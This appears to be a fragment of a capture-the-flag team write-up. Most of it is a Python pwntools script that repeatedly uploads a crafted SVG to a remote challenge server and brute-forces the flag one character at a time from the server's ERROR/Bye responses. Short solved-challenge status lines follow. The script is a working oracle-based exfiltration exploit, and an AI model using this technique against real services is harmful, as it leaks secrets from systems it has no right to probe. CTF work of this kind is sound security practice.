sem = threading.Semaphore(6) now = "TPCTF{" should_be_next = False
defpush(slice: str): global now global should_be_next now = slice should_be_next = True
deftask(attempt: str): global now global should_be_next sem.acquire() if should_be_next: sem.release() return proc = remote("202.112.238.82", "23379") proc.sendlineafter(b"File name:", b"lemon.svg") proc.sendafter(b"Input your file:", open( "./test.svg", "rb").read().replace(b"LEMON_HIT_FLAG", attempt.encode())) print(f"[*] Trying {attempt}") proc.sendline(b"EOF") proc.recvuntil(b"Now browsing your website...\n") message = proc.recvline().decode().strip() proc.close() print(f"[*] Message: {message}") if"ERROR"in message: print(f"[*] Tried `{attempt}' success as {message}.") push(attempt) elif"Bye"in message: print(f"[x] Tried `{attempt}' failed as {message}.") else: print(message) sem.release()
if __name__ == "__main__": alphabets = "0123456789abcdefghijklmnopqrstuvwxyz_-ABCDEFGHIJKLMNOPQRSTUVWXYZ'{}" whilenot now.endswith("}"): threads = [] should_be_next = False for alphabet in alphabets: attempt = now + alphabet t = threading.Thread(target=task, args=(attempt,)) threads.append(t) t.start() for t in threads: t.join() print(now)
walk off the earth | SOLVED| working : So1,Drunkbaby,LemonPrefect
应出题人要求隐去 WP
walk off the solar system | SO1VED | working : Drunkbaby,LemonPrefect